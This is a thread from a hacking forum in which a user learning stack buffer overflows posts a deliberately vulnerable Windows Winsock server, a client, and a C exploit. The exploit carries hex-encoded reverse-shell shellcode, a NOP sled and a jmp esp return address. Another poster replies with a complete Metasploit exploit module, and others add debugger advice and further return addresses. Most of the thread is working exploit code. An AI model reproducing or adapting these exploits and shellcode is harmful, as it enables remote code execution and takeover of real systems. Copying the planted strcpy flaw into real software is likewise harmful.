hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

brOmstar
Hi all,

I tried to understand the concept of a simple stack based buffer overflow. So I have written a simple client/server app in c ( i have included the source code below ). The client simply sends a string and the server responds this string.
I have implemented a very stupid bof to see what must be done to exploit that vuln. U can control ebp and eip.

But there are some problems it is not possible to execute the shellcode. I tried the method with the jmp esp/call esp return address , I read that this is a common method for win32 systems(my system is a german w2k with sp4).

I will post the code of the client/server app ,the 'exploit' and an image taken from OllyDbg.

Hope that someone can help me to execute the shellcode , the shellcode is from metasploit.org it's the reverse shellcode for win32(127.0.0.1:2002) and the codeaddress for the jmp esp is also from metasploit.

Ok here I go.

Servercode: server.exe

CODE

#include <windows.h>
#include <winsock2.h>
#include <stdio.h>

// initalize winsock

int startWinsock(void)

{

 WSADATA wsa;

 return WSAStartup(MAKEWORD(2,0),&wsa);

}



void usage()
{
unsigned int a;
printf("\nUsage: <port> \n");
printf("Sample: 33366\n\n");
exit(0);
}


char boffunc(char* string){

char buffer[440];

strcpy(buffer,string);

return 0;

}

int main(int argc, char *argv[])

{

 
 if(argc<2 || argc>2)
    usage();
 
 printf("port: %s",argv[1]);

 FILE *datei_z;
 
 long rc;

 SOCKET acceptSocket;
 SOCKET connectedSocket;
 SOCKADDR_IN addr;
 
 char buf[512];
 char buf2[550];

 // Winsock starten

 rc=startWinsock();

 if(rc!=0)

 {

   printf("Fehler: startWinsock, fehler code: %d\n",rc);

   return 1;

 }

 else

 {

   printf("Winsock gestartet!\n");

 }

 // Socket erstellen

 acceptSocket=socket(AF_INET,SOCK_STREAM,0);

 if(acceptSocket==INVALID_SOCKET)

 {

   printf("Fehler: Der Socket konnte nicht erstellt werden, fehler code: %d\n",WSAGetLastError());

   return 1;

 }

 else

 {

   printf("Socket erstellt!\n");

 }

memset(&addr,0,sizeof(SOCKADDR_IN));

addr.sin_family=AF_INET;

addr.sin_port=htons((unsigned short)atoi(argv[1]));

addr.sin_addr.s_addr=ADDR_ANY;

rc=bind(acceptSocket,(SOCKADDR*)&addr,sizeof(SOCKADDR_IN));

if(rc==SOCKET_ERROR)

{

 printf("Fehler: bind, fehler code: %d\n",WSAGetLastError());

 return 1;

}

else

{

 printf("Socket an port %s gebunden\n",argv[1]);

}

rc=listen(acceptSocket,10);

if(rc==SOCKET_ERROR)

{

 printf("Fehler: listen, fehler code: %d\n",WSAGetLastError());

 return 1;

}

else

{

 printf("acceptSocket ist im listen Modus....\n");

}
connectedSocket=accept(acceptSocket,NULL,NULL);

if(connectedSocket==INVALID_SOCKET)

{

 printf("Fehler: accept, fehler code: %d\n",WSAGetLastError());

 return 1;

}

else

{


int t;
int len;
struct sockaddr_in sin;
struct hostent *host;

len = sizeof sin;

if (getpeername(connectedSocket, (struct sockaddr *) &sin, &len) < 0)
       (perror("Fehler: getpeername"));
else {

       if ((host = gethostbyaddr((char *) &sin.sin_addr, sizeof sin.sin_addr, AF_INET)) == NULL)
       
            perror("gethostbyaddr");
           
       else printf("Verbindung von (%s) %s:%d\n", host->h_name, inet_ntoa(sin.sin_addr),ntohs(sin.sin_port));
       
       
       
}

 printf("Neue Verbindung wurde akzeptiert!\n");
 
 datei_z = fopen( "connections.log", "a" );
 fprintf( datei_z, "Connection from (%s) %s:%d!",host->h_name, inet_ntoa(sin.sin_addr),ntohs(sin.sin_port));
 fclose(datei_z);
 
 
}
// Daten austauschen
 while(rc!=SOCKET_ERROR)
 {
   rc=recv(connectedSocket,buf,512,0);
   if(rc==0)
   {
     printf("Server hat die Verbindung getrennt..\n");
     break;
   }
   if(rc==SOCKET_ERROR)
   {
     printf("Fehler: recv, fehler code: %d\n",WSAGetLastError());
     break;
   }
   buf[rc]='\0';
   printf("Client sendet: %s\n",buf);
   
   boffunc(buf);        
       
   sprintf(buf2,"Hello %s",buf);
   rc=send(connectedSocket,buf2,strlen(buf2),0);
 }
 closesocket(acceptSocket);
 closesocket(connectedSocket);
 WSACleanup();
 return 0;

}


the client client.exe
CODE

#include <windows.h>

#include <winsock2.h>

#include <stdio.h>

//Prototypen


int startWinsock(void)

{

 WSADATA wsa;

 return WSAStartup(MAKEWORD(2,0),&wsa);

}

void usage()
{
unsigned int a;
printf("\nUsage: <host> <port> \n");
printf("Sample: 192.168.0.1 33366\n\n");
exit(0);
}

int main(int argc, char *argv[])

{

 if(argc<3 || argc>3)
    usage();
 
 printf(" ip: %s port: %s",argv[1],argv[2]);

 long rc;
 
 SOCKET s;
 SOCKADDR_IN addr;
 
 char buf[256];


 rc=startWinsock();

 if(rc!=0)

 {

   printf("Fehler: startWinsock, fehler code: %d\n",rc);

   return 1;

 }

 else

 {

   printf("Winsock gestartet!\n");

 }
 
 s=socket(AF_INET,SOCK_STREAM,0);

if(s==INVALID_SOCKET)

{

 printf("Fehler: Der Socket konnte nicht erstellt werden, fehler code: %d\n",WSAGetLastError());

 return 1;

}

else

{

 printf("Socket erstellt!\n");

}

memset(&addr,0,sizeof(SOCKADDR_IN)); // zuerst alles auf 0 setzten

addr.sin_family=AF_INET;

addr.sin_port=htons((unsigned short)atoi(argv[2])); //

addr.sin_addr.s_addr=inet_addr(argv[1]); //



rc=connect(s,(SOCKADDR*)&addr,sizeof(SOCKADDR));

if(rc==SOCKET_ERROR)

{

 printf("Fehler: connect gescheitert, fehler code: %d\n",WSAGetLastError());

 return 1;

}

else

{

 printf("Verbunden mit %s:%s..\n",argv[1],argv[2]);

}

 // Daten austauschen
 while(rc!=SOCKET_ERROR)
 {
   printf("\nZeichenfolge eingeben [max 256]: ");
   gets(buf);
   send(s,buf,strlen(buf),0);
   rc=recv(s,buf,256,0);
   if(rc==0)
   {
     printf("Server hat die Verbindung getrennt..\n");
     break;
   }
   if(rc==SOCKET_ERROR)
   {
     printf("Fehler: recv, fehler code: %d\n",WSAGetLastError());
     break;
   }
   buf[rc]='\0';
   printf("\nServer antwortet: %s\n",buf);
 }
 closesocket(s);
 WSACleanup();

 return 0;

}


and the exploit code

CODE
#include <windows.h>

#include <winsock2.h>

#include <stdio.h>


// 127.0.0.1 2002 hardcoded


unsigned char scode[] =
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x59\x81\x73\x17\x02\x03"
"\x03\x02\x83\xeb\xfc\xe2\xf4\xea\x55\x03\x02\x02\x50\x56\x54\x55"
"\x88\x6f\x26\x1a\x88\x46\x3e\x89\x57\x06\x7a\x03\xe9\x88\x48\x1a"
"\x88\x59\x22\x03\xe8\xe0\x30\x4b\x88\x37\x89\x03\xed\x32\xfd\xfe"
"\x32\xc3\xae\x3a\xe3\x77\x05\xc3\xcc\x0e\x03\xc5\xe8\xf1\x39\x7e"
"\x27\x17\x77\xe3\x88\x59\x26\x03\xe8\x65\x89\x0e\x48\x88\x58\x1e"
"\x02\xe8\x89\x06\x88\x02\xea\xe9\x01\x32\xc2\x5d\x5d\x5e\x59\xc0"
"\x0b\x03\x5c\x68\x33\x5a\x66\x89\x1a\x88\x59\x0e\x88\x58\x1e\x89"
"\x18\x88\x59\x0a\x50\x6b\x8c\x4c\x0d\xef\xfd\xd4\x8a\xc4\x83\xee"
"\x03\x02\x02\x02\x54\x55\x51\x8b\xe6\xeb\x1d\x02\x03\x03\x92\x03"
"\x03\x03\xb4\x1b\x1b\xe4\xa6\x1b\x73\xea\xee\xfb\xa9\x63\xdb\x0b"
"\xf6\xae\xc9\xef\xff\x38\x55\x51\x31\x5c\x31\x30\x03\x58\x8f\x49"
"\x1b\x52\xfd\xd5\x8a\xdc\x8b\xc1\x8e\x76\x16\x68\x06\x5a\x53\x51"
"\xfc\x37\x8d\xfd\x56\x07\x5b\x8b\x07\x8d\xe0\xf0\x28\x24\x56\xfd"
"\x34\xfc\x57\x2a\x32\xc3\x52\x52\x53\x53\x42\x52\x43\x53\xfd\x57"
"\x27\x8a\xc5\x6a\x7c\x03\x02\x03\x6b\x01\x02\x05\xd1\x8a\xe3\x68"
"\x13\x52\x55\xfd\x56\x23\x5b\x5b\x6b\x40\x4f\x46\x03\x8a\xe1\x85"
"\xf9\x32\xc2\x8f\x7f\x27\xae\x68\x16\x5a\xf1\xa9\x84\xf9\x81\xee"
"\x57\xc5\x46\x26\x13\x47\x64\xc5\x47\x27\x3e\x03\x02\x8a\x7e\x26"
"\x4b\x8a\x7e\x26\x4f\x8a\x7e\x26\x53\x8e\x46\x26\x13\x57\x52\x53"
"\x52\x52\x43\x53\x4a\x52\x53\x51\x52\xfc\x77\x02\x6b\x71\xfc\xb1"
"\x15\xfc\x57\x06\xfc\xd3\x8b\xe4\xfc\x76\x02\x6a\xae\xda\x07\xcc"
"\xfc\x56\x06\x8b\xc0\x69\xfd\xfd\x35\xfc\xd1\xfd\x76\x03\x6a\xed"
"\xcd\xe3\x62\xfd\x56\x07\x33\xd9\x50\xfc\xd2";

// start winsock

int startWinsock(void)

{

 WSADATA wsa;

 return WSAStartup(MAKEWORD(2,0),&wsa);

}

// info's for usage

void usage()
{
unsigned int a;
printf("\nUsage: <host> <port> \n");
printf("Sample: 192.168.0.1 33366\n\n");
exit(0);
}

int main(int argc, char *argv[])

{

 

 if(argc<3 || argc>3)
    usage();
 
 printf(" ip: %s port: %s\n",argv[1],argv[2]);



 char explbuf[464];

 int i;

 

 for(i=0; i < 40; i++)
 { explbuf[i] = '\x90'; }
 
 printf("Size of shellcode %d\n", sizeof(scode));
 
 strcat(explbuf,scode);
 
 for (i=420;i < 464;i++)
 {explbuf[i] = '\x90'; }
 
 // ebp

 for (i=456;i < 460;i++)
 {explbuf[i] = '\x61'; }
 
 // eip
 
//for (i=460;i < 464;i++)
 //{explbuf[i] = '\x41'; }
 
 explbuf[460] = '\x22';
 explbuf[461] = '\x5c';
 explbuf[462] = '\xFB';
 explbuf[463] = '\x77';

 //ESP ==>  > 77fb5c22

 

 long rc;
 
 SOCKET s;
 SOCKADDR_IN addr;

 rc=startWinsock();

 if(rc!=0)

 {

   printf("Fehler: startWinsock, fehler code: %d\n",rc);

   return 1;

 }

 else

 {

   printf("Winsock gestartet!\n");

 }
 
 s=socket(AF_INET,SOCK_STREAM,0);

if(s==INVALID_SOCKET)

{

 printf("Fehler: Der Socket konnte nicht erstellt werden, fehler code: %d\n",WSAGetLastError());

 return 1;

}

else

{

 printf("Socket erstellt!\n");

}

memset(&addr,0,sizeof(SOCKADDR_IN)); // zuerst alles auf 0 setzten

addr.sin_family=AF_INET;

addr.sin_port=htons((unsigned short)atoi(argv[2])); //

addr.sin_addr.s_addr=inet_addr(argv[1]); //



rc=connect(s,(SOCKADDR*)&addr,sizeof(SOCKADDR));

if(rc==SOCKET_ERROR)

{

 printf("Fehler: connect gescheitert, fehler code: %d\n",WSAGetLastError());

 return 1;

}

else

{

 printf("Verbunden mit %s:%s..\n",argv[1],argv[2]);

}

   send(s,explbuf,strlen(explbuf),0);
 
 closesocket(s);
 WSACleanup();

 return 0;

}


and finally the image from ollydbg

user posted image

hope that someone is interested to help me/ find out how this can be exploited , thx.

ps. Could be a nice tutorial wink.gif


??? i can't attach something
here are the three exe files for the bof. Link exe files
slynx
I think you got a little over-excited with you're learning; you made the exploit
for that much more complex than it needed to be, which I think is what in the end
killed it. First of all, keep in mind that on little endian systems (like Windows) it is
okay to have one null byte in the end (or beggining as you might have it...)
because there's a trailing null either way. Just straight return into the NOP sled
works just fine.

Also, from what I can tell, the jmp esp you're using is privelaged so you can't
use that one for your exploit.....

Enough of my cruddy lectures..... here is my exploit (as a module for Metasploit
Framework) to try to demonstrate simplicity on all sides.


CODE

package Msf::Exploit::simple_overflow;

use base "Msf::Exploit";
use strict;

my $advanced = { };

my $info =
{
   'Name'  => 'Simple Windows Buffer Overflow',
    'Version'  => '$Revision: 1.00 $',
   'Authors' => [ 'slynx <sk0rch3r [at] hotmail.com>' ],
   'Arch'  => [ 'x86' ],
   'OS'    => [ 'win32' ],
   'Priv'  => 1,
   'AutoOpts'  => { 'EXITFUNC' => 'thread' },
   'UserOpts'  => {
                   'RHOST' => [1, 'ADDR', 'The target address'],
                   'RPORT' => [1, 'PORT', 'The target port', 33366],
               },

   'Payload' => {
                'Space'  => 300,
                'BadChars'  => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
                },
   
   'Description'  => qq{
         This is a simple demonstration exploit for a Windows buffer overflow. The target EXE
         was posted to GSO by brOmstar, and since he asked for help and since I've been bored
         here it is. Note that we don't have much space for shellcode since the buffer we are
         overflowing is only 256 bytes. Not exactley real-world, but close enough....enjoy :>
   },
               
   'Refs'  =>   [  
                   'http://www.governmentsecurity.org/forum/http://www.governmentsecurity.org/forum/index.php?showtopic=9820&st=0&#entry79539'
                ],
   'DefaultTarget' => 0,
   'Targets' => [
                  ['Windows XP Professional (SP1)', 0x0022fd5c],  # Return into about the middle of our NOP sled
                ],
};

sub new {
 my $class = shift;
 my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
 return($self);
}

sub Exploit {
   my $self = shift;
   my $target_host = $self->GetVar('RHOST');
   my $target_port = $self->GetVar('RPORT');
   my $target_idx  = $self->GetVar('TARGET');
   my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
   
   my $target = $self->Targets->[$target_idx];

   $self->PrintLine("[*] Running a Simple Windows Buffer Overflow");
   $self->PrintLine("[*] Selected Target: " . $target->[0]);

   # Connect to the target

   my $s = Msf::Socket->new();
   if (! $s->Tcp($target_host, $target_port))
   {
       $self->PrintLine("");
       $self->PrintLine("[*] Error: " . $s->GetError());
       return(0);
   }

   # I'm using a classic overflow technique, sticking the shellcode in the buffer that's being
   # overflowed, surrounding it with NOPS, and then returning into the middle of the NOP sled
   # just before my shellcode. A lot of exploit development is just trying differant things
   # untill you're debugger either says 'holy shit, wtf are you doing?!?' or you're program
   # suddenly jumps into something that wasn't supposed to be called yet.... Anyway I hope
   # this gives you a better idea of how the stack is smashed :>

   # For this exploit we don't have much space for shellcode. I set the variable in this
   # exploit to a length of 300, since that gives us enough padding in front of and after
   # the shellcode. On my test box it works every time. It should on yours too.

   # Thanks for curing my bordom; I needed something to do;p

   # Create the evil buffer...

   my $request = ("\x90" x 464);                                                   # NOP Buffer
   substr($request, (435 - length($shellcode)), length($shellcode), $shellcode);   # Shellcode
   substr($request, 460, 4, pack('V', $target->[1]));                              # Return Address

   $self->PrintLine("[*] Sending exploit request (" . length($request) . " bytes) ....");

   # Send exploit...

   $s->Send($request);
}


There you go. Hope this helps smile.gif
krackatoa
In olly, right click on the esp register, follow in dump and make sure your shellcode is at esp before you jump to it. If it's not, you will have to manipulate the stack to put it there.

You'll know when you're executing because the upper left olly window will show you where your thread is stopping.

Another option is check if your other registers point to your shellcode directly.

To make sure you have the thread doing what you want, place a \xCC\ early in your shellcode and see if you break there. Once you know you control the thread of execution, then work your shellcode in and troubleshoot it from there.

Also, sometimes the location that you believe is a jmp esp may not be. So try several other addresses.

"\xD3\xD9\xE2\x77";#jmp esp Advapi32.dll WinXPSP1. This one I know is correct for XP.

Post your esp "follow in dump", results. what you're looking for is in the lower left window and should match the esp address. Your shellcode needs to be right there, otherwise you'll need to align it either by popping or manipulating esp with a add esp, ret function or similar
brOmstar
I tried the msf code but i get an error while loading the exploit framework

Can't locate object method "new" via package "Msf::Exploit::simple_bof" (perhaps
you forgot to load "Msf::Exploit::simple_bof"?) at /home/framework-2.1/lib/Msf/
UI.pm line 108.

I simply copied ur code in a file called simple_bof.pm and moved that to \home\framework-2.1\exploits.

Can u give me a hint what to do?
slynx
yes, you cannot name the file simple_bof.pm ..... sorry i forgot to mention, as
with all msf modules the name is derived from the following line:

CODE

package Msf::Exploit::simple_overflow;


so, for that file, it must be named 'simple_overflow.pm'

And, now that I'm more awake and sober, let me try to explain why your code
did not execute as you wanted it to. First of all, keep in mind that setting EIP to
point to a JMP ESP is fine, except that ESP will usually point to a location before
your shellcode. In your Ollydbg screenshot ESP is 0x0022FAD0 which is not where
you want to be to get to your code, you want to jump to around 0x0022F90C since
that is where your code is. My fix for this (although I havn't seen it documented
anywhere....) is to overwrite EBP with a value slightly larger than the location
you want to jump in your code (so just a little bit down the NOP sled past the
middle) then when you do a JMP ESP is seems to point to a little bit further up the
stack than what you overwrote EBP with. Also, if you're not using EBP then it's
probably best practice to just leave it filled with NOPs, so that 0x61616161 might
have been what crashed it.

Hope that helps you a little more than my last post :>
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.